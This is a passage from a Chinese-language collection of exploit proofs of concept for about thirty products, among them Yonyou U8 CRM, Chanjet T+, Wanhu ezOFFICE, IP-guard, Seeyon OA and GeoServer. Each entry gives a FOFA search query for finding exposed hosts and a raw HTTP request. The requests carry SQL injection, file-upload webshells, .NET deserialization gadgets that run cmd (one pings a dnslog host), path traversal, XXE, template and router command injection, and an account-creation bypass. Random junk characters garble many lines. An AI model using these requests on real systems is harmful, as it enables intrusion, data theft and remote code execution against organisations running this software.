* n9 t  ?. g! ?. D% }, kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  l1 `5 c* w! f# cAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close
* P- _, O/ W0 S" Z# j* L


48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
" V) N  }  f( y" M$ KPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
+ z3 G4 x  J$ J2 ^) G4 O# lHost: your-ip
: N, Q" t! f; d" o, g9 D8 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
7 o5 t# |1 [2 wContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
8 M( ~2 P  n! h7 N  o, F------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
9 h1 q/ v) R2 t0 Y- }9 y8 C* u1231
) p( q1 z# P$ N& FContent-Type: application/octet-stream
------269520967239406871642430066855
) f8 Y( Y) M- }/ f/ JContent-Disposition: form-data; name="upload"
4 f# r: [+ W( \8 L; zupload
------269520967239406871642430066855--
* u; o1 k% i7 U. k1 j5 }' r9 N
: B3 e3 E5 Z/ u: d5 x% x7 S4 F# n+ I" p
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
6 j6 B% K4 c5 ~- q0 qHost: x.x.x.x
2 q* Z" n: v/ t5 X0 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
$ }0 V' b" U4 ^$ M. N& c; FAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; \# o* J  \9 MConnection: close
/ a! F, p6 M# \: UContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream
% |7 F! g- k$ }, P2 }7 w, L0 }
% P1 o5 h6 N8 G5 cwersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
, z, g8 H* ?  M: h* G
upload
% P2 A  ]: s% H( U. T' L-----------------------------vvv3wdayqv3yppdxvn3w--


http://x.x.x.x/tmpfile/updB3CB.tmp.php
( e% q3 O2 f$ L, b  ^/ |, _
0 L8 l+ R$ J) s1 g, R8 x50. QDocs Smart School 6.4.1 filterRecords SQL注入
! U% X) j% q6 E# [FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 224
Accept: */*
$ X, U9 ?: N* p9 [& NAccept-Language: en
4 I$ F$ c2 Y. @Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
& ]( l  ?& k6 q; H4 x4 Z

( H# m$ y; a" |6 I. z4 ~8 d51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
1 f; s( H' k! X; k* V8 k3 s( oFOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
  }' C$ Z* Q6 p9 c- TConnection: close


52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
' U" I  V6 t: {: ?. i' [Host: 192.168.86.128:8097
/ c5 P" N: S% k$ `" y) F& bUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
# u3 R9 d) U( u0 hConnection: close
Content-Length: 87
$ }6 k7 M5 @% `$ }. g" K3 }0 CAccept: */*
Accept-Language: en
9 @. c  O3 a! [Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

. c! ~3 \1 c$ ^1 l' A( T# Atfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333

& O4 I: q9 E9 @9 c4 E# v5 H
4 |5 P3 C7 ]* g) b0 R: L3 A% l53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


54. 畅捷通T+ getstorewarehousebystore 远程代码执行
: t' X3 E2 T! c$ iFOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
- A" I3 t8 E/ q"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
5 p2 A& [+ t, V- K$ \* @: I" P
  ^* v2 d) D9 d, {
完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
" r, p8 B$ s7 R, lHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
8 ?( k9 p2 Z+ m0 j  ^' u
2 n, Z  f3 z7 V7 ^% D  V{
. d; ?& L+ ?9 P% x4 V"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
' N  u% T4 t! h  "ObjectInstance":{
' W& Q: S/ u" m; \   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
. i( P# ^3 E% q# Z% g- q4 U6 P    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
% A1 `% h: v: A6 N- n: S5 v: q    }
  }
  }
}

- V4 ~: I0 v: c- @" [. W$ s- m) t
/ |# `5 z, B  g; d第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
! t) v, E8 L' ^

55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
  U( d% q3 a" h7 k2 ^( [  R) }. z第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
1 m* P( t* s7 ^( r1 w2 u第二步，利用获取到的Cookie请求
/ h. g. ]) v* \( S3 {; ^/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

5 K+ R+ Y( i2 W% y* W7 k9 f56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
/ L* V& c4 e' g; F3 r5 q1 `# qPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
' i( J+ P7 N" b% o( q# ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
; S( v2 {1 M( W" _+ Y; P1 {Content-Type: application/json
' |3 l. K) `5 C' m; P
8 W3 G. Y; h% e+ d( B{
  "storeID":{
. X+ z) ?3 E8 p+ `1 J; g6 d    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
( [6 E+ q8 L& U+ {; K3 A   "MethodName":"Start",
0 S  p7 {+ \& U6 U, _2 h7 `1 e    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
% L2 h6 |! X4 i8 E# t/ A) S) f        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
( j, P. p& D7 z           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
9 u, Z! \/ q/ y- @* c    }
3 Y" E: d9 E& z9 g+ f' u- j0 M  }
}
$ A4 Z% t' N6 h- H

57. 畅捷通T+ keyEdit.aspx SQL注入
2 l! ?, d* _1 N$ `8 Z4 \* P& r# pFOFA：app="畅捷通-TPlus"
' {% _# x& {& w2 y; n! M: r3 \GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
, n& a. R3 `* U8 k6 P3 r8 P2 IHost: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
* S  d4 s6 x7 I* j$ H

1 c# g$ ?! k. K0 S5 ?58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
3 g  E! g! N2 V3 S' ~6 c9 O* e* }1 GUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
: W% J' u% ?; a# b: [5 lAccept-Encoding: gzip, deflate
Connection: close
0 R3 d0 h; [0 O8 @: c% r( `- a

% R% ^8 n5 @1 i# o, ~; u59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
5 ]. a# I3 j0 H/ g3 f! j/ _POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
- \. t4 r: v3 ?3 b8 }2 dConnection: close
Content-Length: 1669
Accept: */*
Accept-Language: en
0 E5 W# I: c6 d* W3 KContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

PAYLOAD

1 z  ?! i8 s- {, r, g1 |, K
60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
, l0 O$ \: `+ d+ q! G2 KGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
. K* N$ m  H3 W1 g7 ?3 @Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
4 ~, |$ t9 E% e0 ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
1 C6 W7 b- H' J& i, {- c9 lAccept-Language: zh-CN,zh;q=0.9
; H9 c( i+ P- o4 ^  n" I, ?Connection: close


. R1 g6 C9 [! }  i9 [/ _9 D61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
! A* }2 F/ d* B  A+ bFOFA: title="欢迎使用浙大恩特客户资源管理系统"
4 U2 Z  X8 ~1 n+ J. tPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
# J$ ]! k5 i5 PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
) L! E( P- f) G5 G& qAccept: */*
. D0 |7 e' X5 y$ ]Accept-Encoding: gzip, deflate
" }& s& Y4 s) a1 B0 P; d- gAccept-Language: en
4 X5 ]3 F# l1 E8 e* t0 W/ K; |/ d+ o( UContent-Type: application/x-www-form-urlencoded
' I) W4 }9 m* R5 E: X
( Z0 ?( ?; U* H% T6 m8uxssX66eqrqtKObcVa0kid98xa


62. IP-guard WebServer 远程命令执行
* {+ u3 `4 x. s' XFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
/ `  _3 k; }- @% |/ Q* aUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
( r( f% F- u* C! \" q6 h/ TConnection: close
* u& \+ o1 U" p6 X4 U6 wAccept: */*
Accept-Language: en
! }( h% d; W$ T( f* XAccept-Encoding: gzip


, Q8 @* L, I4 O* v, o: N) z访问

. h; {, G6 q" [4 D, GGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x

: C2 N& S) j* N
$ l: C' B9 t; ^9 s5 c7 W( B/ U63. IP-guard WebServer任意文件读取
8 d+ a/ h/ |) }" x. ]+ O! QIP-guard < 4.82.0609.0
, l/ C" w8 x4 l, t9 s+ VFOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
, _6 l% u1 r( d- q6 q0 N( zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

8 z2 }+ x8 {- B. Vpath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
5 Y' G: n1 o! D( p" N9 T7 e' b
7 Z! s) v7 b1 F# {64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
& s4 o- P9 o; P6 u( x* A& _" fHost: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
5 L/ w2 [& W! K  F. Z! VContent-Length: 369
- k) d# X7 v1 L" yAccept: */*
, T) J6 A3 ?6 G! Q9 l/ FAccept-Language: en
. s5 |) U. L% N8 K# IContent-Type: text/xml; charset=utf-8
; Z) R0 }- s  ?0 ^$ x0 nAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
( w7 X1 k" ]; x+ E    <GetOSpById xmlns="http://tempuri.org/">
- ~6 w: O8 }$ u5 ?3 H& ~3 y9 q1 L% k, b7 D      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
</soap:Envelope>

" w2 t- y/ m0 ~, y
& q3 P! B6 ~+ K' @$ @! o65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
6 E3 d4 V$ }. d" s" R! f% U响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
: j; G( A0 F0 p7 RHost:
+ _, ^. K5 I: k7 T# G# G% H- OUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
9 a: h$ \: v5 o1 V$ X6 `Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
0 N; `( w4 v& F! d' ?& D4 _6 UContent-Length: 174

# Y4 }/ Z; D( u7 _* s9 _operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
7 z/ P* |1 K) O9 _* b0 p5 s1 ^
, e6 R/ g8 z1 s& J5 M' D' Z
- I& e% g$ y) q* J$ q66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
& U2 ~( l* V3 y0 w0 lFOFA：app="万户ezOFFICE协同管理平台"
6 }4 }% O! Q( \
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
5 P( R) E% q+ ^Connection: close
Accept: */*
Accept-Language: en
0 k  w. z# y9 {: @9 \+ pAccept-Encoding: gzip


: Z) c$ C& f" Y1 s$ |- X5 s第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

2 H" @0 T" e# B  X67. 万户ezOFFICE wpsservlet任意文件上传
& j! U: k% h" s, o/ o$ RFOFA：app="万户网络-ezOFFICE"
" C6 V. _" N& ^8 G& AnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
- L/ l' {1 v" I/ g2 YPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
( e& u9 o% v1 g/ p( x- FHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
- H6 g$ U4 l) x3 V( gContent-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
  ~4 Y! w, ?* M' K, ~! P) GContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1
" V. J: [* x. n: k% W* G
. r  r! x& q* z  W3 J--ufuadpxathqvxfqnuyuqaozvseiueerp
2 X  [5 y* C: wContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
; [' X. {* t* C, i1 C* i4 ]* p7 }
1 V8 F2 I8 i/ o& C! v9 k; Q<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
  I% w0 F4 |7 v  n) p5 P

& m3 P4 M- E0 d* @' Q& x% o文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
. z  G5 z+ g" @+ e% |GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
1 p3 ~+ D& J: S3 HAccept-Language: zh-CN,zh;q=0.9
, Z9 z( ?9 L8 H6 B- qConnection: close
4 Z" A. Y# _5 T( W
( ^; c! s* P' y4 O2 B; @+ V" M1 J( i
69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
$ E8 g2 u, c6 JGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
8 G, x7 X8 ?5 J" u9 {Host: your-ip
2 R! o6 f* @: [9 t- ~- qUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
$ [9 J7 w* T8 Q% O. E) JAccept-Encoding: gzip, deflate
Accept: */*
8 `3 b* T% x( WConnection: keep-alive
  ^6 d  e# e# C  ~) ~- k
; |, k( `0 j# a6 L1 I& e
" m9 _0 s# M: ?) f: d9 _70. 万户ezEIP success 命令执行
" i  k2 h7 b: ?- a6 d8 ~FOFA：app="万户网络-ezEIP"
" B4 c4 {: U9 {( P# VPOST /member/success.aspx HTTP/1.1
0 F5 y- J% f& g0 f# `Host: {{Hostname}}
% g5 _+ Y* v) i/ |7 VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
TYPE: C
0 ]/ y3 ~1 e% ?, x0 CContent-Length: 16702

/ V7 d. r# G) @$ _- X__VIEWSTATE=PAYLOAD
' D; Y. ]8 e1 }

71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
0 z* [7 V& X5 u1 AFOFA：body="PM2项目管理系统BS版增强工具.zip"
+ w2 s# s3 t+ A$ YGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
& c# X: e+ V8 X7 [0 gUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 A7 Y1 ~, l5 t! Y. _Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- K; o: F& G$ [; y6 zUpgrade-Insecure-Requests: 1

$ J' Z) r6 |, R3 c. Z# X
4 A0 m( I7 U2 l( ?- G72. 致远OA getAjaxDataServlet XXE
, e) l3 z; _+ ?FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
7 w6 J$ }* w3 O# G$ A3 RUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
/ y0 {# b2 J; H6 ]) Q2 B! V8 H" S8 q3 _Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E

9 n" E: P7 Z/ n0 @3 p$ [
( V* ]1 h0 ?3 k73. GeoServer wms远程代码执行
, K. _, r2 _8 A3 M5 lFOFA：icon_hash=”97540678”
8 ~3 h4 `; e# N- }) o/ I9 LPOST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
$ s( O# g$ B9 f( R0 u8 JAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
5 J+ j% K! q; ?- l( jSL-CE-SUID: 3
( q& a' J0 g% Z
( }8 i+ w! |+ n, N7 Z) d- UPAYLOAD


74. 致远M3-server 6_1sp1 反序列化RCE
6 ~. x9 ?2 U  zFOFA：title="M3-Server"
PAYLOAD
  s" ~  j& j% @1 _
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
' m/ |$ T2 @( e  c0 c' Z! ]FOFA：app="TELESQUARE-TLR-2005KSH"
2 m% I7 p( S4 V3 gGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
, n0 v. L9 _6 S; v6 P; o; _Connection: close
Accept: */*
1 p8 I) N8 o( q6 y) @Accept-Language: en
Accept-Encoding: gzip


GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x

5 ~: R0 `) X7 m8 E7 n
# `2 B% X: l* C$ W1 e8 j76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
" [2 O4 H0 b" r0 ]POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
! `; C; S9 n% f5 B, R' h7 c% lConnection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 i8 o, R# ~, I' a. n" M% p) }Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
. E/ i1 H7 Z4 Y" E4 i9 l( tUpgrade-Insecure-Requests: 1

! U+ H9 E6 c& T& n! O{
* h7 X* r9 D- c1 ?2 x"command": "GetFZinfo",
, O, x/ O/ P3 ]  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
* P% x' J+ ?8 C  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}
: C; y5 O' O7 c
5 W) a6 u  m9 `5 W7 a& S
GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x


3 l3 c* x: g" e4 ^* g+ W8 q
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
: m" R! ?0 K; rFOFA：body="F22WEB登陆"
+ q- M: q: Q; L5 F0 d8 kPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
7 |1 C- L* Q6 {+ I: z) G4 xConnection: close
Content-Length: 433
2 P; h+ n5 m8 B) z& }( sAccept: */*
Accept-Encoding: gzip, deflate
. J. Y; \6 c2 Y: N* vAccept-Language: zh-CN,zh;q=0.9
+ z2 P8 r+ _' Z  ]! qContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
; r6 u/ V) }" N* `' `  g( l
------------398jnjVTTlDVXHlE7yYnfwBoix
9 q6 q( K% W" X4 MContent-Disposition: form-data; name="folder"
3 y7 P0 b+ O' D5 f5 W
